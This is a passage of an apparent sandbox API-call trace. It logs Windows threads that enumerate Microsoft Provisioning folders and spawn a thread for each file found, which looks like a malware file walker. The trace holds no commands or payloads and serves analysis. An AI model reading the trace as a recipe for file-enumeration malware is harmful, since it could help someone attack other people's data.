Users\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\Prov") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\Prov" [0077.780] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32102b0, lpParameter=0x3427ce8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x69c [0077.781] FindNextFileW (in: hFindFile=0x3433b68, lpFindFileData=0x33eb9b8 | out: lpFindFileData=0x33eb9b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d139154, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d139154, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d139154, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Prov", cAlternateFileName="")) returned 0 [0077.781] FindClose (in: hFindFile=0x3433b68 | out: hFindFile=0x3433b68) returned 1 [0077.781] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33eb9b8) returned 1 [0077.781] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33f1720) returned 1 [0077.782] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33cdcc8) returned 1 [0077.782] RtlExitUserThread (Status=0x0) Thread: id = 693 os_tid = 0xd40 [0074.872] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xa6) returned 0x33f01d0 [0074.872] wcscpy (in: _Dest=0x33f01d0, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}" [0074.872] wcscat (in: _Dest=0x33f01d0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\" [0074.872] wcscat (in: _Dest=0x33f01d0, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\*") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\*" [0074.872] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x250) returned 0x33ebc20 [0074.872] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\*", lpFindFileData=0x33ebc20 | out: lpFindFileData=0x33ebc20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d21de20, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d21de20, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d21de20, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3433ba8 [0074.873] wcscmp (_String1=".", _String2=".") returned 0 [0074.873] FindNextFileW (in: hFindFile=0x3433ba8, lpFindFileData=0x33ebc20 | out: lpFindFileData=0x33ebc20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d21de20, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d21de20, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d21de20, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0074.873] wcscmp (_String1="..", _String2=".") returned 1 [0074.873] wcscmp (_String1="..", _String2="..") returned 0 [0074.873] FindNextFileW (in: hFindFile=0x3433ba8, lpFindFileData=0x33ebc20 | out: lpFindFileData=0x33ebc20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x540f90a7, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x540f90a7, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x540f90a7, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0xcb9, dwReserved0=0x0, dwReserved1=0x0, cFileName="customizations.xml", cAlternateFileName="")) returned 1 [0074.873] wcscmp (_String1="customizations.xml", _String2=".") returned 1 [0074.873] wcscmp (_String1="customizations.xml", _String2="..") returned 1 [0074.873] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xc8) returned 0x3435388 [0074.873] wcscpy (in: _Dest=0x3435388, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}" [0074.873] wcscat (in: _Dest=0x3435388, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\" [0074.873] wcscat (in: _Dest=0x3435388, _Source="customizations.xml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\customizations.xml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\customizations.xml" [0076.624] Sleep (dwMilliseconds=0x1) [0077.774] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x3435388, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x974 [0077.775] FindNextFileW (in: hFindFile=0x3433ba8, lpFindFileData=0x33ebc20 | out: lpFindFileData=0x33ebc20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5408696e, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x5408696e, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x5408696e, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x10f, dwReserved0=0x0, dwReserved1=0x0, cFileName="MasterDatastore.xml", cAlternateFileName="")) returned 1 [0077.775] wcscmp (_String1="MasterDatastore.xml", _String2=".") returned 1 [0077.775] wcscmp (_String1="MasterDatastore.xml", _String2="..") returned 1 [0077.775] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xca) returned 0x3475860 [0077.775] wcscpy (in: _Dest=0x3475860, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}" [0077.775] wcscat (in: _Dest=0x3475860, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\" [0077.775] wcscat (in: _Dest=0x3475860, _Source="MasterDatastore.xml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\MasterDatastore.xml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\MasterDatastore.xml" [0077.775] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x3475860, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x65c [0077.776] FindNextFileW (in: hFindFile=0x3433ba8, lpFindFileData=0x33ebc20 | out: lpFindFileData=0x33ebc20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d21de20, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d21de20, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d21de20, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Prov", cAlternateFileName="")) returned 1 [0077.776] wcscmp (_String1="Prov", _String2=".") returned 1 [0077.776] wcscmp (_String1="Prov", _String2="..") returned 1 [0077.776] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xac) returned 0x3427b78 [0077.776] wcscpy (in: _Dest=0x3427b78, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}" [0077.776] wcscat (in: _Dest=0x3427b78, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\" [0077.776] wcscat (in: _Dest=0x3427b78, _Source="Prov" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\Prov") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\Prov" [0077.776] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32102b0, lpParameter=0x3427b78, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x690 [0077.777] FindNextFileW (in: hFindFile=0x3433ba8, lpFindFileData=0x33ebc20 | out: lpFindFileData=0x33ebc20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d21de20, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d21de20, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d21de20, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Prov", cAlternateFileName="")) returned 0 [0077.777] FindClose (in: hFindFile=0x3433ba8 | out: hFindFile=0x3433ba8) returned 1 [0077.777] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33ebc20) returned 1 [0077.777] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33f01d0) returned 1 [0077.777] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33cded8) returned 1 [0077.777] RtlExitUserThread (Status=0x0) Thread: id = 694 os_tid = 0xf9c [0074.873] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xa6) returned 0x33f0280 [0074.874] wcscpy (in: _Dest=0x33f0280, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}" [0074.874] wcscat (in: _Dest=0x33f0280, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\" [0074.874] wcscat (in: _Dest=0x33f0280, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\*") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\*" [0074.874] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x250) returned 0x33ebe88 [0074.874] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\*", lpFindFileData=0x33ebe88 | out: lpFindFileData=0x33ebe88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d244069, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d26a2f7, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d26a2f7, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3433be8 [0074.874] wcscmp (_String1=".", _String2=".") returned 0 [0074.874] FindNextFileW (in: hFindFile=0x3433be8, lpFindFileData=0x33ebe88 | out: lpFindFileData=0x33ebe88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d244069, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d26a2f7, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d26a2f7, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0074.874] wcscmp (_String1="..", _String2=".") returned 1 [0074.874] wcscmp (_String1="..", _String2="..") returned 0 [0074.874] FindNextFileW (in: hFindFile=0x3433be8, lpFindFileData=0x33ebe88 | out: lpFindFileData=0x33ebe88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53e0f327, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53e0f327, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x53e3557c, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x65f, dwReserved0=0x0, dwReserved1=0x0, cFileName="customizations.xml", cAlternateFileName="")) returned 1 [0074.874] wcscmp (_String1="customizations.xml", _String2=".") returned 1 [0074.874] wcscmp (_String1="customizations.xml", _String2="..") returned 1 [0074.874] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xc8) returned 0x3435458 [0074.874] wcscpy (in: _Dest=0x3435458, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}" [0074.874] wcscat (in: _Dest=0x3435458, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\" [0074.874] wcscat (in: _Dest=0x3435458, _Source="customizations.xml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\customizations.xml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\customizations.xml" [0076.624] Sleep (dwMilliseconds=0x1) [0077.771] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x3435458, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x978 [0077.771] FindNextFileW (in: hFindFile=0x3433be8, lpFindFileData=0x33ebe88 | out: lpFindFileData=0x33ebe88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53e0f327, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53e0f327, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x53e0f327, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x10f, dwReserved0=0x0, dwReserved1=0x0, cFileName="MasterDatastore.xml", cAlternateFileName="")) returned 1 [0077.772] wcscmp (_String1="MasterDatastore.xml", _String2=".") returned 1 [0077.772] wcscmp (_String1="MasterDatastore.xml", _String2="..") returned 1 [0077.772] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xca) returned 0x3477288 [0077.772] wcscpy (in: _Dest=0x3477288, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}" [0077.772] wcscat (in: _Dest=0x3477288, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\" [0077.772] wcscat (in: _Dest=0x3477288, _Source="MasterDatastore.xml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\MasterDatastore.xml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\MasterDatastore.xml" [0077.772] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x3477288, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x530 [0077.772] FindNextFileW (in: hFindFile=0x3433be8, lpFindFileData=0x33ebe88 | out: lpFindFileData=0x33ebe88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d26a2f7, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d26a2f7, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d26a2f7, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Prov", cAlternateFileName="")) returned 1 [0077.772] wcscmp (_String1="Prov", _String2=".") returned 1 [0077.772] wcscmp (_String1="Prov", _String2="..") returned 1 [0077.773] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xac) returned 0x3427ac0 [0077.773] wcscpy (in: _Dest=0x3427ac0, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}" [0077.773] wcscat (in: _Dest=0x3427ac0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\" [0077.773] wcscat (in: _Dest=0x3427ac0, _Source="Prov" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\Prov") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\Prov" [0077.773] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32102b0, lpParameter=0x3427ac0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x630 [0077.773] FindNextFileW (in: hFindFile=0x3433be8, lpFindFileData=0x33ebe88 | out: lpFindFileData=0x33ebe88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d26a2f7, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d26a2f7, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d26a2f7, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Prov", cAlternateFileName="")) returned 0 [0077.773] FindClose (in: hFindFile=0x3433be8 | out: hFindFile=0x3433be8) returned 1 [0077.773] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33ebe88) returned 1 [0077.774] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33f0280) returned 1 [0077.774] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33ce878) returned 1 [0077.774] RtlExitUserThread (Status=0x0) Thread: id = 695 os_tid = 0xf70 [0074.875] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xa6) returned 0x33f0330 [0074.875] wcscpy (in: _Dest=0x33f0330, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}" [0074.875] wcscat (in: _Dest=0x33f0330, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\" [0074.875] wcscat (in: _Dest=0x33f0330, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\*") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\*" [0074.875] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x250) returned 0x33ec0f0 [0074.875] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\*", lpFindFileData=0x33ec0f0 | out: lpFindFileData=0x33ec0f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d21de20, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d21de20, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d21de20, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3433c28 [0074.876] wcscmp (_String1=".", _String2=".") returned 0 [0074.876] FindNextFileW (in: hFindFile=0x3433c28, lpFindFileData=0x33ec0f0 | out: lpFindFileData=0x33ec0f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d21de20, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d21de20, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d21de20, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0074.876] wcscmp (_String1="..", _String2=".") returned 1 [0074.876] wcscmp (_String1="..", _String2="..") returned 0 [0074.876] FindNextFileW (in: hFindFile=0x3433c28, lpFindFileData=0x33ec0f0 | out: lpFindFileData=0x33ec0f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53ed1a9f, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53ed1a9f, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x53ef7d10, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x59f, dwReserved0=0x0, dwReserved1=0x0, cFileName="customizations.xml", cAlternateFileName="")) returned 1 [0074.876] wcscmp (_String1="customizations.xml", _String2=".") returned 1 [0074.876] wcscmp (_String1="customizations.xml", _String2="..") returned 1 [0074.876] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xc8) returned 0x3435528 [0074.876] wcscpy (in: _Dest=0x3435528, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}" [0074.876] wcscat (in: _Dest=0x3435528, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\" [0074.876] wcscat (in: _Dest=0x3435528, _Source="customizations.xml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\customizations.xml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\customizations.xml" [0076.624] Sleep (dwMilliseconds=0x1) [0077.767] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x3435528, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x97c [0077.768] FindNextFileW (in: hFindFile=0x3433c28, lpFindFileData=0x33ec0f0 | out: lpFindFileData=0x33ec0f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53ed1a9f, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53ed1a9f, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x53ed1a9f, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x10f, dwReserved0=0x0, dwReserved1=0x0, cFileName="MasterDatastore.xml", cAlternateFileName="")) returned 1 [0077.768] wcscmp (_String1="MasterDatastore.xml", _String2=".") returned 1 [0077.768] wcscmp (_String1="MasterDatastore.xml", _String2="..") returned 1 [0077.768] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xca) returned 0x3477000 [0077.768] wcscpy (in: _Dest=0x3477000, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}" [0077.768] wcscat (in: _Dest=0x3477000, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\" [0077.768] wcscat (in: _Dest=0x3477000, _Source="MasterDatastore.xml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\MasterDatastore.xml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\MasterDatastore.xml" [0077.768] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x3477000, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x534 